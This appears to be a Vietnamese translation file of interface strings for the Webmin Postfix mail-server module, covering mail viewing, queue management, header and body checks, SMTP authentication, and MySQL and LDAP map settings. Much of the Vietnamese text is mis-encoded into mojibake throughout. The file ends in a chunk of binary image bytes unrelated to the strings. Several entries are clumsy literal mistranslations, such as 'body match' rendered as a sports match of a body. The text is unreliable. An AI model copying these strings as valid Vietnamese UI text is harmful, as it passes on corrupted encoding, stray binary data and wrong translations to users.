mail_forward=Ở đằng trước
mail_rfc=Từ dòng
mail_move=Chuyển tới:
mail_eexists=Tin nhắn không còn tồn tại!

view_title=Äá»c mail
view_desc=Tin nhắn $1 trong $2
view_desc2=Tin nhắn $1 cho ngưá»i dùng $2
view_desc3=Tin nhắn $1
view_sent=Tin nhắn $1 trong danh sách thư đã gửi
view_qdesc=Tin nhắn xếp hàng $1
view_headers=Tiêu đỠthư
view_allheaders=Xem tất cả các tiêu Ä‘á»
view_noheaders=Xem các tiêu đỠcơ bản
view_attach=Tài liệu đính kèm
view_reply=Äáp lại
view_reply2=Trả lá»i tất cả
view_enew=Chỉnh sửa như mới
view_forward=Ở đằng trước
view_delete=Xóa bá»
view_flush=Tuôn ra
view_strip=Xóa tệp đính kèm
view_ecannot=Bạn không được phép Ä‘á»c email cá»§a ngưá»i dùng này
view_mark=Äánh dấu tin nhắn là:
view_mark0=Chưa Ä‘á»c
view_mark1=Äá»c
view_mark2=Äặc biệt
view_return=email gốc
view_sub=Email đính kèm
view_body=Tin nhắn văn bản
view_afile=Tên tập tin đính kèm
view_atype=Kiểu đính kèm
view_aname=Tập tin đính kèm
view_asize=Kích thước tập tin

compose_title=Soạn email
reply_title=Trả lá»i email
forward_title=Chuyển tiếp email
enew_title=Chỉnh sửa email
reply_headers=Tiêu đỠthư
reply_attach=Tập tin đính kèm chuyển tiếp
reply_mailforward=Tin nhắn chuyển tiếp
reply_attach2=Tệp đính kèm phía máy khách và máy chủ
reply_send=Gửi thư
reply_ecannot=Bạn không được phép gá»­i thư như ngưá»i dùng này

send_err=Không thể gửi thư
send_eto=Thiếu địa chỉ
send_efrom=Thiếu từ địa chỉ
send_title=Thư đã gửi
send_ok=Thư đã được gửi thành công tới $1
send_ecannot=Bạn không được phép gá»­i thư như ngưá»i dùng này
send_esmtp=Lệnh SMTP $1 không thành công : $2
send_efile=Tệp đính kèm $1 không tồn tại
send_eattach=Tệp đính kèm không thể tổng cá»™ng nhiá»u hÆ¡n mà $1 kB có kích thước.
send_eperms=Ngưá»i dùng $1 không thể Ä‘á»c $2
send_eperms2=Bạn không được phép gửi tệp $1
send_epath=Sendmail thực thi $1 không tồn tại.
send_ewrapper=Chương trình giao diện sendmail Postfix không tồn tại

search_title=kết quả tìm kiếm
search_ecannot=Bạn không được phép tìm kiếm email cá»§a ngưá»i dùng này
search_ematch=Bạn phải nhập văn bản để phù hợp với.
search_efield=Bạn phải chá»n má»™t loại tìm kiếm.
search_none=Không tìm thấy thư nào.
search_results2=$1 thư khớp với $2 ..
search_results3=$1 thư không khớp với $2 ..

match_from=Từ: trận đấu
match_subject=Chá»§ Ä‘á»: trận đấu
match_to=Tới: trận đấu
match_cc=Cc: trận đấu
match_date=Ngày: trận đấu
match_body=Trận đấu cơ thể
match_size=Kích thước lớn hơn
match_headers=Tiêu đỠphù hợp
match_=-----------------
match_!from=Từ: không khớp
match_!subject=Chá»§ Ä‘á»: không khá»›p
match_!to=To: không khớp
match_!cc=Cc: không khớp
match_!date=Ngày: không khớp
match_!body=Cơ thể không phù hợp
match_!size=Kích thước nhỠhơn
match_!headers=Tiêu đỠkhông khớp

mailq_title=Hàng đợi thư
mailq_count=tin nhắn $1
mailq_none=Không có thư hiện đang được xếp hàng để gửi
mailq_id=Tài khoản mail
mailq_date=Gởi
mailq_from=Từ
mailq_to=Äến
mailq_cc=Cc
mailq_subject=Môn há»c
mailq_return=xếp hàng thư
mailq_delete=Xóa tin nhắn đã chá»n
mailq_size=Kích thước
mailq_ecannot=Bạn không được phép xem hàng đợi thư
mailq_egone=Tin nhắn không còn trong hàng đợi
mailq_status=Trạng thái
mailq_flush=Hàng đợi thư
mailq_flushdesc=Nhấp vào nút này để buộc gửi ngay tất cả các tin nhắn trong hàng đợi và hiển thị kết quả.
mailq_refresh=Làm mới hàng đợi thư
mailq_refreshdesc=Tải lại trang này để hiển thị trạng thái hiện tại của hàng đợi thư.
mailq_deleteall=Xóa hàng đợi thư
mailq_deletealldesc=Nhấn vào nút này để xóa tất cả các tin nhắn trong hàng đợi thư.
mailq_search=Tìm tin nhắn xếp hàng ở đâu
mailq_move=Yêu cầu đã chá»n
mailq_incoming=Mới đến
mailq_active=Hoạt động
mailq_deferred=Hoãn lại
mailq_hold=Giữ lá»±a chá»n
mailq_unhold=Bá» chá»n

flushq_title=Hàng đợi
flushq_desc=Buộc gửi thư đã cố gắng bằng lệnh $1 ..

qview_title=Tin nhắn xếp hàng
qview_desc=Từ tệp $1
qview_headers=Tiêu đỠthư
qview_attach=Tài liệu đính kèm

after_err=Lỗi cấu hình hậu tố : $1

searchq_title=Kết quả tìm kiếm hàng đợi
searchq_none=Không tìm thấy tin nhắn xếp hàng.

header_title=Kiểm tra tiêu Ä‘á»
header_ecannot=Bạn không được phép chỉnh sá»­a kiểm tra tiêu Ä‘á»
header_eregexp=Bản đồ kiểm tra tiêu đỠphải ở định dạng <tt>regapi:</tt> <i>tên tệp</i>
opts_header_checks=Bảng kiểm tra tiêu đỠMIME
header_name=Biểu hiện thông thưá»ng
header_value=Hành động cho trận đấu
header_discard=Há»§y bá» (vá»›i thông Ä‘iệp tưá»ng trình..)
header_dunno=Không làm gì cả
header_filter=Ãp dụng bá»™ lá»c ..
header_hold=Äặt trong hàng đợi (vá»›i thông Ä‘iệp tưá»ng trình..)
header_ignore=Làm lơ
header_prepend=Chuẩn bị văn bản ..
header_redirect=Chuyển hướng đến địa chỉ ..
header_replace=Thay thế bằng văn bản ..
header_reject=Từ chối (với thông báo lỗi..)
header_warn=Äăng nhập cảnh báo (có tin nhắn..)
header_ename=Biểu thức chính quy không hợp lệ - phải giống như / cái gì đó /
header_return=kiểm tra tiêu Ä‘á»

body_title=Kiểm tra cơ thể
body_ecannot=Bạn không được phép chỉnh sửa kiểm tra cơ thể
body_eregexp=Bản đồ kiểm tra cơ thể phải ở định dạng <tt>regapi:</tt> <i>tên tệp</i>
opts_body_checks=Bảng kiểm tra nội dung thư
body_return=kiểm tra cơ thể

dependent_title=Ãnh xạ giao thông phụ thuá»™c ngưá»i gá»­i
dependent_ecannot=Bạn không được phép chỉnh sá»­a ánh xạ vận chuyển phụ thuá»™c cá»§a ngưá»i gá»­i
dependent_eregexp=Bản đồ vận chuyển phụ thuá»™c cá»§a ngưá»i gá»­i phải ở định dạng <tt>regapi:</tt> <i>tên tệp</i>
dependent_return=ánh xạ vận chuyển phụ thuá»™c ngưá»i gá»­i

manual_title=Chỉnh sửa tập tin bản đồ
manual_file=Chá»n má»™t tệp bản đồ để chỉnh sá»­a:
manual_change=Thay đổi
manual_editing=Sử dụng hộp văn bản bên dưới để chỉnh sửa thủ công ánh xạ trong $1. Hãy cẩn thận, vì sẽ không có cú pháp hoặc kiểm tra tính hợp lệ sẽ được thực hiện.
manual_err=Không thể lưu tệp bản đồ
manual_efile=Tên tệp bản đồ không hợp lệ!
manual_ecannot=Bạn không được phép chỉnh sửa thủ công các tệp bản đồ

delq_titles=Xóa tin nhắn
delq_rusure=Bạn có chắc chắn muốn xóa $1 các tin nhắn được xếp hàng đã chá»n không?
delq_confirm=Xóa tin nhắn

master_title=Quy trình máy chủ
master_name=Tên quy trình
master_enabled=Äã bật?
master_type=Loại vận tải
master_private=Riêng tư?
master_unpriv=Không được hưởng?
master_chroot=Chroot?
master_max=Quá trình tối đa
master_inet=Internet
master_unix=Ổ cắm Unix
master_fifo=Äặt tên ống
master_add=Thêm một quy trình máy chủ mới.
master_unlimit=Vô hạn
master_ecannot=Bạn không được phép chỉnh sửa các quy trình máy chủ
master_edit=Chỉnh sửa quy trình máy chủ
master_create=Tạo quy trình máy chủ
master_header=Chi tiết quy trình máy chủ Postfix
master_host=Nghe địa chỉ máy chủ
master_any=Äịa chỉ bất kỳ
master_private2=Hệ thống thư riêng?
master_unpriv2=Chạy như ngưá»i dùng Postfix?
master_chroot2=Chroot vào thư mục hàng đợi thư?
master_return=quy trình máy chủ
master_defyes=Mặc định (Có)
master_command=Lệnh xử lý
master_wakeup=Tự động đánh thức quá trình?
master_wtime=Sau $1 giây
master_wused=Chỉ khi thực sự được sử dụng
master_max2=Quá trình tối đa
master_procs=Tối đa $1
master_name2=Tên / cổng máy chủ
master_egone=Quá trình máy chủ không còn tồn tại!
master_eclash=Một quy trình máy chủ có cùng tên và loại vận chuyển đã tồn tại
master_err=Không thể lưu quy trình máy chủ
master_ename=Tên hoặc cổng máy chủ bị thiếu hoặc không hợp lệ
master_ehost=Äịa chỉ máy chá»§ không hợp lệ để nghe
master_einet=Một địa chỉ máy chủ để nghe chỉ có thể được chỉ định cho các quy trình Internet
master_ecommand=Thiếu lệnh xử lý máy chủ
master_ewakeup=Thá»i gian thức dậy bị mất hoặc không hợp lệ
master_emaxprocs=Thiếu hoặc không hợp lệ số lượng quá trình

delete_err=Không thể xóa ánh xạ
delete_enone=Không được chá»n

cmanual_title=Chỉnh sửa tập tin cấu hình
cmanual_ecannot=Bạn không được phép chỉnh sửa tập tin cấu hình Postfix
cmanual_ok=Biên tập
cmanual_efile=Tệp được chá»n không phải là má»™t phần cá»§a cấu hình Postfix
cmanual_file=Chỉnh sửa tập tin cấu hình:
cmanual_edata=Không có gì vào!
cmanual_err=Không thể lưu tập tin cấu hình

access_return=truy cập bảng bản đồ
edit_map_file=Chỉnh sửa tập tin bản đồ
opts_reject_rbl_client=Tra cứu danh sách Ä‘en thá»i gian thá»±c (RBL)
opts_check_sender_access=Kiểm tra bảng bản đồ truy cập cá»§a ngưá»i gá»­i

log_misc=Thay đổi tùy chá»n chung
log_opts=Thay đổi địa chỉ viết lại và giả mạo
log_aliases=Thay đổi tùy chá»n bí danh
log_canonical=Thay đổi tùy chá»n ánh xạ chính tắc
log_virtual=Thay đổi tùy chá»n miá»n ảo
log_bcc=Thay đổi tùy chá»n bản đồ BCC
log_transport=Thay đổi tùy chá»n ánh xạ giao thông
log_sni=Thay đổi tùy chá»n ánh xạ chứng chỉ
log_dependent=Thay đổi tùy chá»n địa chỉ ngưá»i gá»­i
log_relocated=Thay đổi tùy chá»n ánh xạ di dá»i
log_header=Thay đổi tùy chá»n kiểm tra tiêu Ä‘á»
log_body=Thay đổi tùy chá»n kiểm tra cÆ¡ thể
log_debug=Thay đổi tính năng sửa lỗi
log_ldap=Thay đổi tra cứu LDAP
log_local=Thay đổi giao hàng địa phương
log_rate=Giá giao hàng thay đổi
log_resource=Thay đổi kiểm soát tài nguyên chung
log_smtp=Thay đổi tùy chá»n máy khách SMTP
log_smtpd=Thay đổi tùy chá»n máy chá»§ SMTP
log_alias_create=Äã tạo bí danh $1
log_alias_modify=Bí danh đã sửa đổi $1
log_alias_delete=Bí danh đã xóa $1
log_delete_aliases=Äã xóa các bí danh $1
log_virtual_alias_maps_create=Äã tạo miá»n ảo $1
log_virtual_alias_maps_modify=Tên miá»n ảo đã sá»­a đổi $1
log_virtual_alias_maps_delete=Äã xóa tên miá»n ảo $1
log_delete_virtual_alias_mapss=Äã xóa $1 tên miá»n ảo
log_manual_virtual_alias_mapss=Các tên miá»n ảo được chỉnh sá»­a thá»§ công trong $1
log_virtual_maps_create=Äã tạo miá»n ảo $1
log_virtual_maps_modify=Tên miá»n ảo đã sá»­a đổi $1
log_virtual_maps_delete=Äã xóa tên miá»n ảo $1
log_delete_virtual_mapss=Äã xóa $1 tên miá»n ảo
log_manual_virtual_mapss=Các tên miá»n ảo được chỉnh sá»­a thá»§ công trong $1
log_canonical_maps_create=Äã tạo ánh xạ chính tắc $1
log_canonical_maps_modify=Ãnh xạ chính tắc đã sá»­a đổi $1
log_canonical_maps_delete=Äã xóa ánh xạ chính tắc $1
log_delete_canonical_mapss=Äã xóa $1 ánh xạ chính tắc
log_manual_canonical_mapss=Các ánh xạ chính tắc được chỉnh sửa thủ công trong $1
log_recipient_canonical_maps_create=Äã tạo ánh xạ chuẩn cho ngưá»i nhận $1
log_recipient_canonical_maps_modify=Ãnh xạ chính tắc cá»§a ngưá»i nhận đã sá»­a đổi $1
log_recipient_canonical_maps_delete=Äã xóa ánh xạ chính tắc cá»§a ngưá»i nhận $1
log_delete_recipient_canonical_mapss=Äã xóa $1 ánh xạ chính tắc cá»§a ngưá»i nhận
log_manual_recipient_canonical_mapss=Ãnh xạ chính tắc cá»§a ngưá»i nhận được chỉnh sá»­a thá»§ công trong $1
log_sender_canonical_maps_create=Tạo ánh xạ chuẩn cho ngưá»i gá»­i $1
log_sender_canonical_maps_modify=Ãnh xạ chính tắc cá»§a ngưá»i gá»­i đã sá»­a đổi $1
log_sender_canonical_maps_delete=Äã xóa ánh xạ chính tắc cá»§a ngưá»i gá»­i $1
log_delete_sender_canonical_mapss=Äã xóa $1 ánh xạ chính tắc cá»§a ngưá»i gá»­i
log_manual_sender_canonical_mapss=Ãnh xạ chính tắc cá»§a ngưá»i gá»­i được chỉnh sá»­a thá»§ công trong $1
log_transport_maps_create=Äã tạo ánh xạ truyá»n tải $1
log_transport_maps_modify=Ãnh xạ vận chuyển đã sá»­a đổi $1
log_transport_maps_delete=Äã xóa ánh xạ vận chuyển $1
log_delete_transport_mapss=Äã xóa $1 ánh xạ vận chuyển
log_manual_transport_mapss=Ãnh xạ vận chuyển được chỉnh sá»­a thá»§ công trong $1
log_relocated_maps_create=Äã tạo ánh xạ di dá»i $1
log_relocated_maps_modify=Ãnh xạ di dá»i đã sá»­a đổi $1
log_relocated_maps_delete=Äã xóa ánh xạ di dá»i $1
log_delete_relocated_mapss=Äã xóa $1 ánh xạ di dá»i
log_manual_relocated_mapss=Các ánh xạ di dá»i được chỉnh sá»­a thá»§ công trong $1
log_header_checks_create=Äã tạo kiểm tra tiêu đỠ$1
log_header_checks_modify=Kiểm tra tiêu đỠđã sửa đổi $1
log_header_checks_delete=Äã xóa kiểm tra tiêu đỠ$1
log_delete_header_checkss=Äã kiểm tra tiêu đỠ$1
log_manual_header_checkss=Kiểm tra tiêu đỠđược chỉnh sửa thủ công trong $1
log_body_checks_create=Äã tạo kiểm tra cÆ¡ thể $1
log_body_checks_modify=Kiểm tra cơ thể đã sửa đổi $1
log_body_checks_delete=Äã xóa kiểm tra cÆ¡ thể $1
log_delete_body_checkss=Äã xóa $1 kiểm tra cÆ¡ thể
log_manual_body_checkss=Kiểm tra cơ thể được chỉnh sửa thủ công trong $1
log_master_create=Äã tạo quy trình máy chá»§ $1
log_master_modify=Quá trình máy chủ được sửa đổi $1
log_master_delete=Äã xóa quy trình máy chá»§ $1
log_manual=Tệp cấu hình được chỉnh sửa thủ công $1
log_stop=Máy chủ Postfix đã dừng
log_start=Bắt đầu máy chủ Postfix
log_reload=Cấu hình Postfix được tải lại
log_delqs=Äã xóa $1 thư từ hàng đợi thư
log_flushq=Hàng đợi thư bị dội
log_backend=Tệp cấu hình được cập nhật cho bản đồ $1
log_sasl=Thay đổi xác thực và mã hóa SMTP
log_client=Thay đổi hạn chế máy khách SMTP
log_sender_dependent_default_transport_maps_create=Äã tạo địa chỉ phụ thuá»™c ngưá»i gá»­i $1
log_sender_dependent_default_transport_maps_modify=Äịa chỉ phụ thuá»™c ngưá»i gá»­i đã sá»­a đổi $1
log_sender_dependent_default_transport_maps_delete=Äã xóa địa chỉ phụ thuá»™c ngưá»i gá»­i $1
log_delete_sender_dependent_default_transport_mapss=Äã xóa $1 địa chỉ phụ thuá»™c ngưá»i gá»­i
log_manual_sender_dependent_default_transport_mapss=Äịa chỉ phụ thuá»™c ngưá»i gá»­i được chỉnh sá»­a thá»§ công trong $1

sasl_title=Xác thực và mã hóa SMTP
opts_smtpd_sasl_auth_enable=Yêu cầu xác thực SASL SMTP?
opts_smtp_sasl_auth_enable=Sử dụng xác thực SASL SMTP?
opts_smtpd_tls_auth_only=Không cho phép xác thực SASL trên các kết nối không an toàn?
opts_broken_sasl_auth_clients=Xử lý các máy khách SMTP không tuân thủ?
sasl_opts=Tùy chá»n bảo mật SMTP
sasl_noanonymous=Từ chối đăng nhập ẩn danh
sasl_noplaintext=Từ chối đăng nhập văn bản đơn giản
opts_smtpd_delay_reject=Trì hoãn khách hàng với thông tin đăng nhập thất bại?
sasl_recip=Hạn chế ngưá»i nhận SMTP
sasl_relay=Hạn chế chuyển tiếp SMTP
sasl_permit_mynetworks=Cho phép kết nối từ cùng một mạng
sasl_permit_sasl_authenticated=Cho phép khách hàng xác thực
sasl_reject_unauth_destination=Từ chối email đến các tên miá»n khác
sasl_permit_inet_interfaces=Cho phép kết nối từ hệ thống này
sasl_reject_unknown_reverse_client_hostname=Từ chối khách hàng không có tên máy chủ ngược
sasl_reject_unknown_client=Từ chối khách hàng không có tên máy chủ ngược
sasl_check_relay_domains=Chỉ cho phép các miá»n chuyển tiếp
sasl_permit_mx_backup=Cho phép tên miá»n hệ thống này là bản sao lưu MX cho
sasl_permit_tls_all_clientcerts=Cho phép khách hàng TLS với bất kỳ chứng chỉ nào
sasl_reject_unauth_pipelining=Từ chối các lệnh SMTP sớm
sasl_check_client_access=Kiểm tra bản đồ truy cập của khách hàng :
sasl_reject_rbl_client=Từ chối nếu địa chỉ IP của khách hàng nằm trong RBL :
sasl_reject_rhsbl_client=Từ chối nếu tên máy chủ của khách hàng nằm trong RBL :
opts_smtpd_tls_cert_file=Tệp chứng chỉ TLS
opts_smtpd_tls_key_file=Tệp khóa riêng của TLS
opts_smtpd_tls_CAfile=Hồ sÆ¡ thẩm quyá»n chứng chỉ TLS
opts_smtpd_use_tls=Kích hoạt mã hóa TLS?
opts_smtp_enforce_tls=Yêu cầu mã hóa TLS?
sasl_err=Không thể lưu xác thực và mã hóa SMTP
sasl_ecert=Tệp chứng chỉ TLS bị thiếu hoặc không hợp lệ
sasl_ekey=Tệp khóa TLS bị thiếu hoặc không hợp lệ
sasl_eca=Hồ sÆ¡ thẩm quyá»n chứng chỉ TLS bị thiếu hoặc không hợp lệ
sasl_level_none=Không bao giá»
sasl_level_may=Nếu khách hàng yêu cầu
sasl_level_encrypt=Luôn luôn
sasl_level_dane=CÆ¡ há»™i Dane TLS
sasl_level_dane_only=Bắt buộc Dane TLS
sasl_level_fingerprint=Xác nhận dấu vân tay
sasl_level_verify=Xác minh TLS bắt buộc
sasl_level_secure=TLS kênh an toàn
sasl_login=Äăng nhập SMTP vào máy chá»§ thư Ä‘i
sasl_nologin=Không cần thiết
sasl_userpass=Äăng nhập vá»›i tên $1 bằng mật khẩu $2
sasl_elogin=Thiếu hoặc không hợp lệ đăng nhập SMTP (không cho phép dấu cách hoặc dấu hai chấm)
sasl_epass=Mật khẩu SMTP không hợp lệ (không có khoảng trắng được phép)

client_title=Hạn chế ứng dụng khách SMTP
client_ecannot=Bạn không được phép chỉnh sửa các hạn chế của máy khách SMTP
client_restrict=Hạn chế của khách hàng
client_restrict1=Postfix mặc định (cho phép tất cả khách hàng)
client_restrict0=Chá»n bên dưới ..
client_other=Những hạn chế khác :
client_err=Không thể lưu các hạn chế của khách hàng
client_evalue=Thiếu giá trị cho hạn chế $1
client_return=Hạn chế ứng dụng khách SMTP

chooser_title=Chá»n nguồn bản đồ
chooser_header=Nguồn bản đồ $1
chooser_none=không ai
chooser_hash=Tập tin bản đồ
chooser_regexp=Tập tin Regexps
chooser_pcre=Tệp regexps kiểu Perl
chooser_other=Nguồn khác
chooser_mysql=Cơ sở dữ liệu MySQL
chooser_mysqlsrc=Nguồn MySQL
chooser_mhosts=Máy chủ máy chủ MySQL
chooser_muser=Äăng nhập cÆ¡ sở dữ liệu
chooser_mpassword=Mật khẩu cơ sở dữ liệu
chooser_mdbname=Tên cơ sở dữ liệu
chooser_mtable=Bảng chứa bản đồ
chooser_mselect_field=Trưá»ng giá trị
chooser_mwhere_field=Trưá»ng chính
chooser_madditional_conditions=SQL cho mệnh đỠ<tt>trong đó</tt>
chooser_err=Không thể lưu nguồn bản đồ
chooser_ehash=Tên tệp ánh xạ bị thiếu hoặc không hợp lệ cho ánh xạ $1
chooser_eregexp=Tên tệp biểu thức chính quy bị thiếu hoặc không hợp lệ cho bản đồ $1
chooser_epcre=Tên tệp biểu thức chính quy tương thích Perl bị thiếu hoặc không hợp lệ cho bản đồ $1
chooser_eother=Thiếu hoặc không hợp lệ nguồn khác cho bản đồ $1
chooser_enone=Không có ai nhập
chooser_emhosts=Thiếu máy chủ lưu trữ MySQL cho bản đồ $1
chooser_emuser=Thiếu hoặc không hợp lệ đăng nhập cơ sở dữ liệu cho bản đồ $1
chooser_empassword=Mật khẩu cơ sở dữ liệu bị thiếu hoặc không hợp lệ cho bản đồ $1
chooser_emdbname=Tên bảng bị thiếu hoặc không hợp lệ cho bản đồ $1
chooser_emselect_field=Trưá»ng giá trị thiếu hoặc không hợp lệ cho bản đồ $1
chooser_emwhere_field=Trưá»ng khóa bị thiếu hoặc không hợp lệ cho bản đồ $1
chooser_emadditional=Thiếu các Ä‘iá»u kiện SQL bổ sung cho bản đồ $1
chooser_mquery=Truy vấn tùy chỉnh cho bản đồ
chooser_emquery=Thiếu truy vấn tùy chỉnh cho bản đồ
chooser_lserver_host=Máy chủ lưu trữ LDAP
chooser_lserver_port=Cổng LDAP
chooser_lstart_tls=Sử dụng mã hóa TLS?
chooser_lsearch_base=Cơ sở tìm kiếm LDAP DN
chooser_lquery_filter=Bá»™ lá»c truy vấn
chooser_lresult_attribute=Thuộc tính kết quả
chooser_lscope=Phạm vi tìm kiếm
chooser_lsub=Toàn bộ cây con
chooser_lone=Một cấp
chooser_lbase=Chỉ cơ sở
chooser_lbind=Äăng nhập vào máy chá»§ LDAP?
chooser_lbind_dn=Äăng nhập máy chá»§
chooser_lbind_pw=Mật khẩu máy chủ
chooser_ldap=Máy chủ LDAP
chooser_lfilter=Bá»™ lá»c khác
chooser_lattribute=Thuộc tính khác
chooser_elserver_host=Thiếu máy chủ máy chủ LDAP cho bản đồ $1
chooser_elserver_port=Cổng máy chủ LDAP bị thiếu hoặc không hợp lệ cho bản đồ $1
chooser_elsearch_base=Thiếu cơ sở tìm kiếm LDAP cho bản đồ $1
chooser_elquery_filter=Thiếu bá»™ lá»c truy vấn cho bản đồ $1
chooser_elresult_attribute=Tên thuộc tính kết quả bị thiếu hoặc không hợp lệ cho bản đồ $1
chooser_elbind_dn=Thiếu đăng nhập cho máy chủ LDAP cho bản đồ $1
chooser_elbind_pw=Thiếu mật khẩu cho máy chủ LDAP cho bản đồ $1

mysql_ecfile=Không tìm thấy tệp cấu hình MySQL $1
mysql_ecfile2=Không thể tìm thấy bảng trong tệp cấu hình MySQL $1
mysql_edriver=Không thể tải trình Ä‘iá»u khiển cÆ¡ sở dữ liệu $1
mysql_elogin=Không thể đăng nhập vào cơ sở dữ liệu $1:$2.
mysql_equery=Không thể truy vấn bảng $1 : $2 
mysql_eadd=Chèn SQL không thành công : $1
mysql_edelete=Xóa SQL không thành công : $1
mysql_eupdate=Cập nhật SQL không thành công : $1
mysql_elist=Truy vấn SQL không thành công : $1
mysql_esource=Không tìm thấy nguồn MySQL có tên $1
mysql_eneed=Tham số cấu hình MySQL $1 không tìm thấy. Webmin cần Ä‘iá»u này để tìm ra bảng và trưá»ng nào cần truy vấn.

ldap_ecfile=Không tìm thấy tệp cấu hình LDAP $1
ldap_eldapmod=Mô-đun Perl $1 cần thiết để giao tiếp với LDAP không được cài đặt hoặc không tải được
ldap_eldap=Không thể kết nối với máy chủ LDAP $1 trên cổng $2
ldap_eldaplogin=Không thể đăng nhập vào máy chủ LDAP $1 dưới dạng $2 : $3 
ldap_ebase=Cơ sở LDAP DN $1 không hợp lệ : $2
ldap_eadd=Thêm LDAP của $1 không thành công : $2
ldap_edelete=Xóa LDAP của $1 không thành công : $2
ldap_equery=Tìm kiếm LDAP của $1 không thành công : $2
ldap_erename=Äổi tên LDAP cá»§a $1 thành $2 không thành công : $3
ldap_emodify=Sửa đổi LDAP của $1 không thành công : $2

bcc_title=Ãnh xạ BCC
bcc_ecannot=Bạn không được phép chỉnh sửa ánh xạ BCC
opts_sender_bcc_maps=Bảng tra cứu ánh xạ BCC cá»§a ngưá»i gá»­i
opts_recipient_bcc_maps=Bảng tra cứu ánh xạ BCC cá»§a ngưá»i nhận
bcc_sender=Ãnh xạ ngưá»i gá»­i
bcc_recipient=Ãnh xạ ngưá»i nhận
bcc_senderdesc=Ãnh xạ BCC cá»§a ngưá»i gá»­i xác định má»™t địa chỉ email bổ sung mà thư <b>từ</b> địa chỉ hoặc tên miá»n được liệt kê sẽ là BCCd đến.
bcc_recipientdesc=Ãnh xạ BCC cá»§a ngưá»i nhận xác định má»™t địa chỉ email bổ sung mà thư <b>đến</b> địa chỉ hoặc tên miá»n được liệt kê sẽ là BCCd đến.
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚